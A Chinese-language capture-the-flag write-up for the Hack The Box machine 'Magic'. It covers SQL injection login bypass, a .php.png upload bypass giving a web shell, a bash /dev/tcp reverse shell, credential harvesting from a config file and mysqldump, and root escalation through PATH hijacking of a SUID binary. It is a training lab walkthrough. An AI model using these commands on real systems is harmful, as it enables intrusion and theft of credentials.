Hackthebox - Magic - 10.10.10.185 - Writeup

Hack The Box 的 Magic 靶机信息:Linux 系统,中等难度,地址 10.10.10.185

信息收集

运行常规的端口扫描查看靶机运行了什么服务,一般情况下 HTB 的题目都不会用到太高的端口,因此只扫前 10000 就够了

nmap -sV -v -p 1-10000 10.10.10.185

Magic 的 Nmap 扫描结果,开放 SSH 和 HTTP 服务

可以看到是有一个 SSH 以及一个 Web 服务

Web

SQL 注入漏洞(万能密码)

打开首页可以看到是一个类似图库的程序

Magic 网站的图片画廊首页

关注到左下角提示登陆后可以上传图片,那么会不会有上传文件漏洞呢?

Magic 网站的登录表单,包含用户名和密码输入框

首先我们随便使用 admin / admin 尝试登陆系统

使用 admin 账号尝试登录后,页面提示用户名或密码错误

有明确的提示说「用户名或密码错误」,接着我们使用 admin' / admin 尝试登陆系统

这次并没有了上次提示的「用户名或密码错误」,因此这里由于我们输入的单引号造成了系统的异常,因此可能存在 SQL 注入漏洞

尝试使用万能密码登陆系统,用户名为:admin'or'1'='1 ,密码随意填写

绕过登录验证后显示的图片选择与上传页面

成功登陆系统!

任意文件上传漏洞

首先打开 Burpsuite 抓包,先随便上传一张正常的图片看看会有什么效果,这里我把我的红色头像上传了上去。

Magic 网站提示头像图片上传成功

根据网页的回显可以知道图片已经上传成功

Magic 画廊首页显示新上传的红色头像

看到首页我的图片也在上面了,查看网页源代码就可以知道图片的路径

网页源码中的图片标签,显示上传头像的访问路径

http://10.10.10.185/images/uploads/avatar.png

接下来尝试修改文件后缀,看看有没有做什么限制

Burp 中将文件名改为 avatar.php 后,服务器提示只允许 JPG、JPEG 和 PNG

当修改文件名为 avatar.php 时会拒绝上传,提示只有 JPG / JPEG / PNG 文件可以上传,初步确定系统判断了文件后缀。

将文件名后缀修改回 png ,内容修改为 PHP 代码尝试上传

Burp 中保留 PNG 后缀但将内容改为 PHP,上传被图片内容校验拒绝

也提示失败了,但是和之前后缀名不在白名单的错误提示不同,这次提示我们

What are you trying to do there?

那么估计就是既判断了文件名后缀又判断了该文件是否是一张图片

那么尝试上传文件名 111.php.png,图片头保留,但是后面的内容修改成 PHP 代码

Burp 上传保留图片头并包含 PHP 代码的 111.php.png,服务器返回上传成功

上传成功,使用浏览器打开看一看

浏览器访问上传的 111.php.png,返回内容中没有显示末尾的 PHP 代码

发现后面 PHP 代码的部分不见了,难道是当成 PHP 文件来运行了?

(这里需要注意,服务器会定期删掉你上传的文件,因此如果打开 404 了就再点一次上传文件吧)

通过上传文件执行 id 命令,页面返回系统用户信息

运行 id 命令,发现确实运行了,那么反弹 shell 就到手了

Shell - www-data

使用 webshell 运行以下命令得到一个反弹 shell

bash -i >& /dev/tcp/10.10.14.8/23333 0>&1 &

反弹 Shell 中执行 id,确认当前用户为 www-data

可以看到当前用户是 www-data,先弄一下 tty

python3 -c 'import pty; pty.spawn("/bin/bash")'

往上面几个目录翻一翻,可以看到数据库的链接文件 /var/www/Magic/db.php5 ,从中我们可以知道 MySQL 的用户名和密码

    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

这里我们得到了一个用户名和密码

用户密码
theseusiamkingtheseus

查看 /etc/passwd,确认系统中存在 theseus 用户

通过查看 /etc/passwd 可以知道该用户存在,我们需要的 user.txt 应该就在其中

尝试以 theseus 用户连接 SSH,认证被拒绝

尝试登陆 SSH 直接就失败,根本就没提示输入密码,因此判断该用户设置了只接受证书登陆

使用数据库连接密码通过 su 切换至 theseus,认证失败

尝试从 www-data 通过 su 使用密码切换过去,密码错误!我们还需要找到 theseus 真正的密码。

这里我们就可以想到,之前我们在弄 Web 的时候里面有登陆功能,我们只是使用万能密码绕过了登陆,那么用户的密码应该就在数据库里面吧

检查数据库客户端,发现系统没有 mysql 命令但安装了 mysqldump

系统没有 mysql 但是有 mysqldump ,直接将数据库导出来看就知道了

$ mysqldump -u theseus -p Magic

使用 theseus 的数据库账号运行 mysqldump,开始导出 Magic 数据库

Magic 数据库的 login 表导出内容,包含 admin 用户及明文密码

数据库中的密码:

admin - Th3s3usW4sK1ng

尝试使用该密码切换到 theseus 用户

使用数据库中找到的密码,成功切换为 theseus 用户

成功切换到 theseus 用户

Shell - theseus

基操 LinEnum.sh 走一波

[-] SUID files:
...
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo.
...

看到这个 /bin/sysinfo 就很可疑,一般系统都没这个文件,而且 +s 了,我们可以以 root 用户运行该文件,下面就来分析一下这个文件

Binary - sysinfo

遇事不决,直接上 IDA

IDA 中 sysinfo 的伪代码,调用系统命令时没有使用绝对路径

可以看到这个二进制文件会依次运行

lshw -short
fdisk -l
cat /proc/cpuinfo
free -h

很重要的是,他这里都没有指定对应这些文件的绝对路径,因此系统是根据 $PATH 这个环境变量来找到对应文件的

该系统默认的 $PATH 环境变量如下:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

而我们可以通过自定义 $PATH 的方式,让 /bin/sysinfo 去执行我们可以控制的文件

创建 /tmp/lshw 内容为

/usr/bin/id

并通过 chmod +x /tmp/lshw 赋予可执行权限

然后运行 PATH=/tmp /bin/sysinfo ,就能够发现我们可以以 root 权限执行任意命令了

修改 PATH 后运行 sysinfo,自定义 lshw 中的 id 命令显示 root 权限

那么到此,root.txt 很容易就能拿到了,只需要将 /tmp/lshw 文件的内容改成以下内容即可

/bin/cat /root/root.txt

番外 - 为什么 111.php.png 会被当作 PHP 文件运行

这台机器使用 Apache 作为 Web 服务器,一般来说都是用 .htaccess 来控制 PHP 解析器的

查看网站根目录的 .htaccess 文件

$ cat /var/www/Magic/.htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all
</Files>

.+\.ph(p([3457s]|\-s)?|t|tml) 这个正则写得非常有问题,估计是故意留给我们用的

Apache PHP 文件匹配规则的正则表达式结构图

简单来说只要文件名包含 php 都会用 php 解析器运行,这就解释了为什么 .php.png 后缀的文件也会被当作 PHP 文件运行